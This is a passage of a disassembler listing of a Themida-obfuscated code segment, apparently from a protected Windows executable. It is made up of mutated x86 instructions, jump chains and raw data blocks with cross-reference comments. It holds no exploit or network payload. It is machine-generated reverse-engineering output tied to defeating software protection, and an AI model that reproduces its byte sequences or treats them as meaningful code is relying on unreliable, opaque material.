		dd 7EE92414h, 58FFFF52h, 3FFC181h, 0C1E9B9E6h, 89000009h
		dd 4832424h, 0E95B0424h, 4EAh, 0DEE9FA01h
		db 0E2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A0BC3:				; CODE XREF: Themida_:0059FCF0j
		push	esi
		jmp	loc_592779
; ---------------------------------------------------------------------------


loc_5A0BC9:				; CODE XREF: Themida_:00593FFBj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59F6A3
; ---------------------------------------------------------------------------
		dd 0D779E95Bh, 0C781FFFEh, 4, 0FEF8F6E9h, 1C895CFFh, 198DBB24h
		dd 0C0E94D83h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0BF3:				; CODE XREF: Themida_:0059D659j
		mov	ebp, esp
		jmp	loc_59B9D1
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 48E0D105h, 0E903E0C1h, 0FFFF5C61h, 83241C8Bh, 1B6804C4h
		dd 89000045h, 0E9522434h, 0FFFFBDECh, 533DE959h, 0F9B6FFFFh
		dd 8016CE80h, 17E9E5F6h, 87FFFEF6h, 0EEE9242Ch,	87FFFF70h
		dd 0E9422414h, 0FFFEF668h
; ---------------------------------------------------------------------------


loc_5A0C40:				; CODE XREF: Themida_:00592C90j
		mov	[esp], edx
		mov	dl, 0D8h
		push	bx
		mov	bh, 0E1h
		and	dl, bh
		pop	bx
		add	dl, 5Fh
		jmp	loc_597065
; ---------------------------------------------------------------------------
		db 59h,	57h, 89h
		dd 4C781E7h, 55000000h,	0AA4E2DBDh, 0CBF58138h,	0E9242505h
		dd 1DBAh, 261E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0C76:				; CODE XREF: Themida_:0059F71Bj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_593F70
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 0E924248Bh, 0FFFED6BBh, 5DF5B42Dh
		dd 8E0C123h, 0E908E0C1h, 0FFFF41AFh
; ---------------------------------------------------------------------------


loc_5A0CA8:				; CODE XREF: Themida_:0059E89Ej
		pop	ebp
		jmp	loc_5A2D67
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF4B31h
; ---------------------------------------------------------------------------


loc_5A0CB4:				; CODE XREF: Themida_:00598C46j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------


loc_5A0CBF:				; CODE XREF: Themida_:0058EB79j
		mov	ebx, esp
		push	eax
		jmp	loc_59E91D
; ---------------------------------------------------------------------------


loc_5A0CC7:				; CODE XREF: Themida_:0059B129j
		add	esp, 4
		sub	ebp, 5A123CA0h
		add	ebp, edi
		add	ebp, 5A123CA0h
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_5926B9
; ---------------------------------------------------------------------------


loc_5A0CF2:				; CODE XREF: Themida_:0059D3E1j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_593D45
; ---------------------------------------------------------------------------
byte_5A0D09	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:0058E208o
		dd 0E95E5456h, 0FFFF2B94h, 0E9240C89h, 0FFFED637h, 68h
		dd 24342800h, 0FF0890E9h
		db 0FFh
byte_5A0D29	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0058E2CCo
		dd 8B2434FFh, 0C483240Ch, 0F521E904h, 0EF81FFFEh, 89352089h
		dd 45E9FE29h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0D47:				; CODE XREF: Themida_:00599E37j
		add	esi, edi
		pop	edi
		jmp	loc_58F16A
; ---------------------------------------------------------------------------
		db 81h
		dd 1D62E1CBh, 10F3817Bh, 0E98127F5h, 0FFFEE6F7h, 0E9241431h
		dd 0FFFF39DBh, 614329B9h, 5E1C12Ch, 5E3AE981h, 0CB0130C1h
		dd 52C38159h, 15CBA1Ah,	52EB81EBh, 815CBA1Ah, 6706E6EBh
		dd 1C335D5Bh, 670EE924h, 5166FFFFh, 0D5B5E99Ch,	4966FFFEh
		dd 1C18166h, 0E9566600h, 0FFFFFD49h
; ---------------------------------------------------------------------------


loc_5A0DAC:				; CODE XREF: Themida_:005999CBj
		pop	edi
		jmp	loc_59E374
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 67EFB951h, 24E94AC2h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0DC3:				; CODE XREF: Themida_:005930DBj
		push	79A1h
		mov	[esp], edx
		mov	edx, 540569BCh
		add	edx, 0FFFFFFFFh
		inc	edx
		jmp	loc_5962B4
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFFE3Eh, 0C905D0F7h, 0C12AD740h, 0A02506E8h
		dd 2D780D73h, 0C107Ch, 8158C701h, 4C7h,	243C8700h, 459AE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E0A:				; CODE XREF: Themida_:00599FC0j
		mov	edx, 40582262h
		push	ecx
		jmp	loc_590644
; ---------------------------------------------------------------------------


loc_5A0E15:				; CODE XREF: Themida_:005909E8j
		push	esp
		pop	ecx
		push	382Fh
		mov	[esp], esi
		jmp	loc_599F7A
; ---------------------------------------------------------------------------
		dd 0E904C783h, 0FFFFF6D9h
; ---------------------------------------------------------------------------


loc_5A0E2C:				; CODE XREF: Themida_:0058EA50j
		add	ebx, eax
		add	ebx, 75346506h
		jmp	loc_596C03
; ---------------------------------------------------------------------------


loc_5A0E39:				; CODE XREF: Themida_:0059F465j
		add	ebp, edi
		jmp	loc_591C48
; ---------------------------------------------------------------------------
		dd 0C8B70F5Ch, 30E268h,	0FEC6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E4E:				; CODE XREF: Themida_:00597655j
		push	1661h
		jmp	loc_59E986
; ---------------------------------------------------------------------------
		dd 0EC835250h, 481EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E62:				; CODE XREF: Themida_:0059C3A4j
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]
		push	eax
		jmp	loc_592D41
; ---------------------------------------------------------------------------


loc_5A0E7A:				; CODE XREF: Themida_:0059AC2Ej
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D9AE
; ---------------------------------------------------------------------------


loc_5A0E96:				; CODE XREF: Themida_:00598672j
		not	esi
		xchg	esi, ecx
		sub	ecx, 0B1A6F7F4h
		add	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	ebp, 44F60B63h
		add	ebp, ecx
		sub	ebp, 44F60B63h
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0EC7:				; CODE XREF: Themida_:00595BE4j
		xor	edx, [esp]
		mov	esp, [esp]
		xchg	ebx, [esp]
		mov	esp, [esp]
		div	cx
		push	1C4Ah
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59CB8C
; ---------------------------------------------------------------------------
		dd 69B9F381h, 0DE310315h, 0E9241C8Bh, 0FFFF0039h, 13D1BF57h
		dd 0C7812C1Bh, 0D3E4EC33h, 835FF901h, 0C8704E9h, 75E95C24h
		dd 61000007h, 0FEDE67E9h, 243489FFh, 14D1E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0F22:				; CODE XREF: Themida_:005951EEj
		sub	ebx, 486F476Fh
		sub	ebx, 1953271Dh
		sub	ebx, 4F41220Dh
		add	ebx, 383C1B69h
		add	ebx, eax
		jmp	loc_59A9C3
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0E6h
		dd 5E44EC05h, 84E9FB29h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0F4F:				; CODE XREF: Themida_:00597C1Aj
		push	edx
		mov	edx, 54DF2670h
		add	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A06A0
; ---------------------------------------------------------------------------


loc_5A0F66:				; CODE XREF: Themida_:0059DD5Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59ED51
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C8BC821h, 0E0895024h, 405h,	4C08300h, 0FF2210E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0F89:				; CODE XREF: Themida_:00590E25j
		add	ebx, 61616103h
		xor	ebx, 2AF14C40h
		sub	edi, ebx
		pop	ebx
		mov	edx, edi
		pop	edi
		push	5719h
		mov	[esp], ebx
		push	20DF7A07h
		pop	ebx
		xor	ebx, 4CFD30F5h
		add	edx, ebx
		pop	ebx
		sub	edx, 6E6F5F71h
		add	edx, edi
		push	ebp
		mov	ebp, 43405C36h
		sub	ebp, 0D4D0FCC5h
		add	edx, ebp
		pop	ebp
		sub	edx, 6C224AF2h
		mov	ecx, [edx]
		pop	edx
		push	4BDAh
		mov	[esp], ebx
		push	edi
		mov	edi, 282F0099h
		push	edi
		push	edx
		mov	edx, 1
		add	[esp+4], edx
		pop	edx
		pop	edi
		push	ebp
		mov	ebp, 69A05FE8h
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58E7F1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 0FFDE2CE9h,	2434FFFFh, 4C4815Dh, 0C1000000h
		dd 0F78108EFh, 50F745F7h, 1E3EF781h, 0F1E91E46h, 1FFFF8Bh
		dd 43E8E9D0h, 0E883FFFFh, 24048704h, 0FF6A54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1041:				; CODE XREF: Themida_:005924A1j
		sub	eax, 6E047B32h
		add	ecx, eax
		pop	eax
		sub	edi, 2FC81F53h
		sub	edi, 57DB22AAh
		add	edi, ecx
		jmp	loc_596831
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0C892424h, 18FE924h, 0C4830000h, 0F094E904h
		dd 1C87FFFEh, 0AF92E924h, 0C89FFFFh, 0E4D9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1082:				; CODE XREF: Themida_:0058F55Bj
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_59207E
; ---------------------------------------------------------------------------
		dd 8104C483h, 7F1C8FE9h, 81C1011Ah, 7F1C8FC1h, 87DFE91Ah
		dd 0E956FFFFh, 0FFFFCFCDh, 4C481h, 9FE90000h, 51FFFF87h
		dd 0FF05A2E9h, 8BE95FFFh, 68FFFFF7h, 48EAh, 68241489h
		dd 2AEB0FD9h, 3D46E95Ah, 0E730FFFFh, 0E9F98858h, 0FFFFACAAh
; ---------------------------------------------------------------------------


loc_5A10E0:				; CODE XREF: Themida_:0059144Aj
		or	ah, 0B5h
		sub	ah, 0C9h
		jmp	loc_5911A5
; ---------------------------------------------------------------------------


loc_5A10EB:				; CODE XREF: Themida_:0059B389j
		add	ebp, eax
		push	eax
		mov	eax, 7C2F5587h
		not	eax
		shl	eax, 4
		sub	eax, 0D47C90E7h
		sub	ebp, eax
		pop	eax
		pop	eax
		sub	ebp, 621B2B61h
		add	ebp, eax
		add	ebp, 621B2B61h
		sub	ebp, 92A07DAh
		pop	eax
		inc	ebp
		not	ebp
		sub	ebp, 0FFFFFFFFh
		xchg	ebx, ebp
		not	ebx
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2266A84h
		and	ebp, esi
		pop	esi
		xor	ebp, 4BFFBh
		mov	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, ecx
		jmp	loc_5976D9
; ---------------------------------------------------------------------------
		db 1, 0C8h, 51h
		dd 6A12E950h, 0E789FFFFh, 4C781h, 0EF830000h, 243C3304h
		dd 33243C31h, 895C243Ch, 34812404h, 0BA720A24h,	98DBE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A118A:				; CODE XREF: Themida_:0059E4F8j
		sub	ebx, eax
		pop	eax
		and	ecx, ebx
		pop	ebx
		jmp	loc_5976BC
; ---------------------------------------------------------------------------


loc_5A1195:				; CODE XREF: Themida_:00597988j
		pop	eax
		add	esi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_598044
; ---------------------------------------------------------------------------
		db 5Fh
		dd 59BEE781h, 0E950709Ah, 0FFFEDF81h, 18590DB8h, 58C22966h
		dd 0BD55C201h, 6618590Dh, 0D1E9EA01h, 2DFFFEDAh, 0D4AE48B1h
		dd 48BC201h, 0DD28E924h, 9B68FFFEh, 89000047h, 48B241Ch
		dd 4C48124h, 8B000000h,	0C483241Ch, 0C5815E04h,	41274426h
		dd 0FF8757E9h, 0D155E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A11FE:				; CODE XREF: Themida_:005A0AF0j
		add	ah, 0D8h
		add	bl, ah
		pop	eax
		jmp	loc_59C44A
; ---------------------------------------------------------------------------
		db 0E9h, 45h, 0D1h
		dd 19B9FFFEh, 811F3128h, 3049E7C9h, 0C5C1E96Ah,	74FFFFFFh
		dd 0A8E90424h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1227:				; CODE XREF: Themida_:00594F78j
		neg	ecx
		not	ecx
		jmp	loc_593915
; ---------------------------------------------------------------------------
		dd 8BF8305Ch, 0ECE9241Ch, 0BEFFFF59h, 4, 26F6C781h, 0EF810FA7h
		dd 7A9C72A5h, 0C781F701h, 7A9C72A5h, 26F6EF81h,	0E95E0FA7h
		dd 0FFFFD0AFh, 3F82CF81h, 0BE5653FCh, 44F84DBAh, 815EF721h
		dd 9C1398C7h, 177005E3h, 0D5E94CCDh, 52FFFF74h,	395871BAh
		dd 585FE940h, 0C681FFFFh, 4, 8704EE83h,	895C2434h, 3268240Ch
		dd 89000061h, 0B4E9241Ch
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A12A7:				; CODE XREF: Themida_:00599BCCj
		xor	ebx, edx
		pop	edx
		shl	ebx, 2
		jmp	loc_58FC3E
; ---------------------------------------------------------------------------
word_5A12B2	dw 77FFh		; DATA XREF: Themida_:0058E0ECo
		dd 11589D1Ch, 0E99C2404h, 0FFFED093h
; ---------------------------------------------------------------------------


loc_5A12C0:				; CODE XREF: Themida_:0059FCC1j
		and	esi, 724968D4h
		shr	esi, 3
		sub	esi, 0AE4483h
		add	esi, 480045C7h
		mov	ebp, esi
		jmp	loc_599EB9
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 48B2434h, 0B24DE924h, 5659FFFFh,	89515E54h
		dd 0FC02E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A12F6:				; CODE XREF: Themida_:00599391j
		mov	al, 0C2h
		jmp	loc_598813
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0C55B6CB8h, 0E9C7010Dh, 0FFFF89BDh, 4E981h, 3EE90000h
		db 14h,	2 dup(0FFh)
byte_5A1317	db 66h			; DATA XREF: Themida_:0058E170o
		dd 8124048Bh, 4ECh, 24048900h, 5F1B68h,	24248900h, 0FFA88CE9h
		dd 242C89FFh, 42474FFh,	24048F5Dh, 8924248Bh, 0BB53240Ch
		dd 71FC5B3Fh, 3A4C3B9h,	5BD9018Eh, 159CE89h, 2434FFF2h
		dd 0FFDEC7E9h, 0E78957FFh, 0EEE95051h
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A1367:				; CODE XREF: Themida_:0059B0CBj
		shr	esi, 5
		jmp	loc_59A455
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 4C681h, 0C6830000h, 24348704h, 0FF7334E9h
		dd 5AE941FFh
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A138B:				; CODE XREF: Themida_:00598072j
		push	ebp
		push	esi
		mov	esi, 589D6CA1h
		mov	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 1389D32Eh
		add	ebp, 102D7F7Dh
		add	ebp, ebx
		sub	ebp, 102D7F7Dh
		pop	ebx
		mov	edx, ebp
		jmp	loc_59A688
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 83242C8Bh, 575104C4h, 7C721FBFh, 0EEF7810Ah,	0E939DC7Bh
		dd 0FFFED6FFh, 0E904C483h, 0FFFFE7CAh
dword_5A13DC	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFECF67h, 0C54F57BFh
					; DATA XREF: Themida_:0058E1F4o
		dd 0E10EE9A0h, 912DFFFFh, 293B3210h, 109105C8h,	68593B32h
		dd 7A1Dh, 0FEEB9EE9h, 0EC835DFFh, 242C8904h, 6530D9BDh
		dd 0DB9EE955h, 814EFFFFh, 0B44CB5EEh, 5EF2010Dh, 522ABB53h
		dd 0DA010173h, 14CAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1436:				; CODE XREF: Themida_:0059C420j
		mov	ebp, 1F594F9Dh
		jmp	loc_59D768
; ---------------------------------------------------------------------------
dword_5A1440	dd 0E92434FFh, 0FFFF7D64h, 0BA52D1F7h, 49DC4692h, 23CEE942h
					; DATA XREF: Themida_:0058E220o
		dd 34FFFFFFh, 7CA2E924h, 0F928FFFFh, 0FFD130E9h, 240433FFh
		dd 33240431h, 37E92404h, 81FFFF65h, 0CA771DC5h,	0E9CD0174h
		dd 0FFFF545Ch, 0BE56E389h, 4, 0F2E9F301h, 0BFFFFF52h, 714C2240h
		dd 0FEFE12E9h, 68C201FFh, 1006h, 0E9240489h, 0FFFF3D1Bh
; ---------------------------------------------------------------------------


loc_5A14A8:				; CODE XREF: Themida_:005A1650j
		push	ebx
		mov	ebx, 30286467h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_590181
; ---------------------------------------------------------------------------
		dd 21E9E189h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A14BF:				; CODE XREF: Themida_:0058FC1Cj
		sub	edx, 7756554Fh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	eax, edx
		pop	edx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		xor	[edi+24h], ecx
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		xor	ecx, [eax]
		pop	eax
		pop	ebx
		jmp	loc_5A1B86
; ---------------------------------------------------------------------------
		dd 0D766E95Eh, 6368FFFFh, 5B22E772h, 0C381D3F7h, 7847AF22h
		dd 815BD989h, 912BDC1h,	0F1C1811Eh, 0E9603226h,	0FFFF032Dh
		dd 85E9C329h, 8300000Dh, 8F042404h, 4812404h, 424h, 242C8B00h
		dd 8104C483h, 4C5h, 70CE6800h, 3C890000h, 55575024h, 0D72F74BDh
		dd 1214BF25h, 0EF01DF05h, 0EF814F5Dh, 0EA9BEE95h, 0FBE9F889h
		dd 33000012h, 305C242Ch, 0E99C2404h, 0FFFECDE3h, 0E959CE21h
		dd 0FFFEEAB4h, 0C103E1C1h, 0E18102E9h, 3BEE023Ah, 0FFB046E9h
		dd 0FCC781FFh, 315A1DDDh, 243C8BFBh, 0FF5B04E9h, 93E959FFh
		dd 0D0FFFFB2h, 2271E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A15A6:				; CODE XREF: Themida_:0058FCBBj
		mov	esp, [esp]
		push	3E6Ch
		jmp	loc_58F44D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C3EB8100h, 583BE45Dh,	0D68BE950h, 0C681FFFEh
		dd 6B7E6C85h, 0D6F7DEF7h, 8103E6C1h, 850C62CEh,	0D7F68124h
		dd 315EC56Ch, 0A0E95EF5h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A15E7:				; CODE XREF: Themida_:0059FA98j
		mov	esi, [esp]
		add	esp, 4
		push	7173h
		mov	[esp], edx
		push	800000h
		mov	edx, [esp]
		push	5710h
		mov	[esp], ebp
		push	esp
		jmp	loc_59D657
; ---------------------------------------------------------------------------
		db 59h
		dd 815EF129h, 747466C5h, 5565E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A161A:				; CODE XREF: Themida_:0059FDBBj
		pop	esp
		push	edx
		mov	edx, 318E07C4h
		shl	edx, 2
		sub	edx, 0C6381F0Ch
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_592D97
; ---------------------------------------------------------------------------
		dd 6909C581h, 0A9E91A07h
		db 0E2h, 2 dup(0FFh)
byte_5A1643	db 66h			; DATA XREF: Themida_:0058E14Co
		dd 55240C8Bh, 0FF367AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A164D:				; CODE XREF: Themida_:0059E27Aj
		add	esi, edi
		push	eax
		jmp	loc_5A14A8
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 53000000h, 6F3130BBh, 0DED4E97Bh, 1C89FFFEh,	5E50BB24h
		dd 0D3F7565Fh, 6D08CB81h, 0E381733Fh, 54926E9Fh, 0B68E9h
		dd 0E9C60100h, 0FFFFF7D0h, 51240489h, 5B0ADD68h, 32E9591Bh
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1697:				; CODE XREF: Themida_:00590170j
		add	esi, 40DD4350h
		push	3437h
		jmp	loc_593248
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 5624048Fh, 0FFF11BE9h, 241C89FFh,	4BBh, 0BA01E900h
		dd 0C683FFFFh, 24348702h, 4BD7E95Ch, 489FFFFh, 7867B824h
		dd 1FE93D84h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A16DB:				; CODE XREF: Themida_:0059E7D2j
		xor	eax, 4591D1C0h
		sub	edi, eax
		pop	eax
		sub	edi, ebp
		add	edi, 7E3A3929h
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 24FD1198h
		sub	edi, 571B52D0h
		push	edi
		jmp	loc_59F055
; ---------------------------------------------------------------------------
byte_5A1711	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E308o
aHms		db '$hms',0
		align 2
		dw 1489h
aTzhni		db '$TZhNI',0
		align 4
		dd 83240C89h, 148904ECh, 6A7BBA24h, 8142663Ch, 96A542C2h
		dd 0FC2B9E9h, 62E94FD3h, 1FFFF60h, 0EC8358C7h, 24348904h
		dd 4BEh, 87EF8100h, 15BE447h, 709168F7h, 1C890000h, 4787BB24h
		dd 0DF015BE4h, 24348B5Bh, 4C481h, 3C330000h, 6BC8E924h
		dd 0C481FFFFh, 4, 0FEF084E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1785:				; CODE XREF: Themida_:0058F951j
		mov	edi, 4
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		jmp	loc_5974D5
; ---------------------------------------------------------------------------


loc_5A1796:				; CODE XREF: Themida_:0059E69Fj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		pop	eax
		jmp	loc_59BC13
; ---------------------------------------------------------------------------


loc_5A17AB:				; CODE XREF: Themida_:0059A4BFj
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	6210h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59F686
; ---------------------------------------------------------------------------
		dw 595Eh
		dd 31240433h, 4332404h,	8B665C24h, 54552404h, 0FF3DA0E9h
		db 0FFh
byte_5A17E9	db 68h,	7Dh, 3Ah	; DATA XREF: Themida_:0058E0F4o
		dd 0C890000h, 81E18924h, 4C1h, 666D6800h, 34890000h, 56B85024h
		dd 0BE7F5D60h, 80A29FAEh, 0FAE9C601h, 0B6000005h, 95B551B9h
		dd 0CAE9EE30h, 8BFFFFA1h, 8957242Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 4EB815Ch, 87000000h, 248B241Ch, 243C8924h
		dd 0EC83E789h, 24148904h, 986413BAh, 0C1DAF701h, 534208E2h
		dd 4C2307BBh, 2F38143h,	3124D7CEh, 0D1EE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A186A:				; CODE XREF: Themida_:0059CDFBj
		mov	esi, 2E6F32B6h
		add	ecx, esi
		pop	esi
		push	edi
		mov	edi, 24453AD6h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_59E698
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	348704C6h, 0E9C15C24h, 5E9C106h
		dd 0CEE9D9F7h, 81FFFF7Dh, 2D36BDCDh, 0D5E5811Bh, 81346F5Dh
		dd 6D55D1EDh, 0E601E930h, 0EA81FFFFh, 5F52798Bh, 0C281CA01h
		dd 5F52798Bh, 57240C8Bh, 0BE56E789h, 35937477h,	0FF62DEE9h
		db 0FFh
byte_5A18E5	db 53h,	0E9h, 0EDh	; DATA XREF: Themida_:0058E2F4o
		dd 2DFFFF10h, 36EC2C48h, 6A06BA52h, 93E90161h, 28FFFFB9h
		dd 4F6866E8h, 1C89667Dh, 0FEA6B324h, 0CFC380CBh, 0F380D3F6h
		dd 66D80046h, 0C8B665Bh, 0E0895024h, 8904EC83h,	4BB241Ch
		dd 0E9000000h, 0FFFF47D0h, 0FFEE8159h, 0E9FFFFFFh, 0FFFECBE4h
; ---------------------------------------------------------------------------


loc_5A1938:				; CODE XREF: Themida_:00591A14j
		dec	esi
		xor	esi, 0A14A586h
		sub	edi, 101024EBh
		sub	edi, esi
		jmp	loc_59C824
; ---------------------------------------------------------------------------


loc_5A194C:				; CODE XREF: Themida_:005960D4j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59DEDE
; ---------------------------------------------------------------------------


loc_5A195F:				; CODE XREF: Themida_:00594554j
		not	ebx
		add	ebx, 32AF233Dh
		add	edi, 5662334Ah
		add	edi, ebx
		jmp	loc_59C8E0
; ---------------------------------------------------------------------------
		dd 405E089h, 56000000h,	4BEh, 5EF00100h, 5C240487h, 4EC81h
		dd 0CDE90000h
		db 2 dup(0FEh),	0FFh
; ---------------------------------------------------------------------------


loc_5A1993:				; CODE XREF: Themida_:00599A04j
		pop	esi
		jmp	loc_59E8CB
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF3F19E9h, 2BB53FFh, 0F75E461Dh, 91F381D3h,	0E9A372CCh
		dd 0FFFEFABEh, 81E68956h, 4C6h,	4C68300h, 0E9243487h, 0FFFF1BB9h
		dd 0BB535954h, 1F720596h, 4B4BD3F7h, 0FA63F381h, 0D901E08Dh
		dd 81241C8Bh, 4C4h, 4C18300h, 0FFED94E9h, 2C181FFh, 33000000h
		dd 0FBE9240Ch
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A19FB:				; CODE XREF: Themida_:0058EA5Dj
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_594EA6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C481h, 0C330000h, 240C3124h, 8B240C33h, 0EC832424h
		dd 24148904h, 14C268h, 24048900h, 4EC815Ah, 89000000h
		dd 0A268241Ch, 89000063h, 0E9E9242Ch, 68FFFED3h, 1C9Dh
		dd 54243489h, 0D468525Eh, 8B62C85Bh, 0C4832414h, 7E2C104h
		dd 0FD20E953h, 0C581FFFEh, 0A1CFE07Ch, 0C2E9E901h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A1A6B:				; CODE XREF: Themida_:0059FAF0j
		sub	eax, 5BED2903h
		pop	ebx
		add	eax, esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4F6C127Ch
		jmp	loc_5927DC
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 24143300h, 33241431h, 895C2414h, 8B542414h, 0C4832414h
		dd 4C28104h, 0E9000000h, 0FFFF5760h
; ---------------------------------------------------------------------------


loc_5A1AA8:				; CODE XREF: Themida_:0058FF8Ej
		xor	dh, al
		pop	eax
		add	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	59A5h
		mov	[esp], edx
		push	ebx
		mov	ebx, 2BB242BEh
		mov	edx, 0D44DBD7Ah
		sub	edx, 22543AB9h
		add	edx, ebx
		add	edx, 22543AB9h
		pop	ebx
		add	edx, edi
		push	ecx
		push	0
		pop	ecx
		push	edx
		mov	edx, 61C454EEh
		jmp	loc_58F551
; ---------------------------------------------------------------------------


loc_5A1AEC:				; CODE XREF: Themida_:0059EBD4j
		pop	esi
		jmp	loc_59D638
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243C89h, 0FFFF5892h, 4EC815Dh,	89000000h, 51E9240Ch
		db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A1B0F:				; CODE XREF: Themida_:0059174Ej
		add	edx, 66822774h
		add	edx, edi
		jmp	loc_59BBFA
; ---------------------------------------------------------------------------
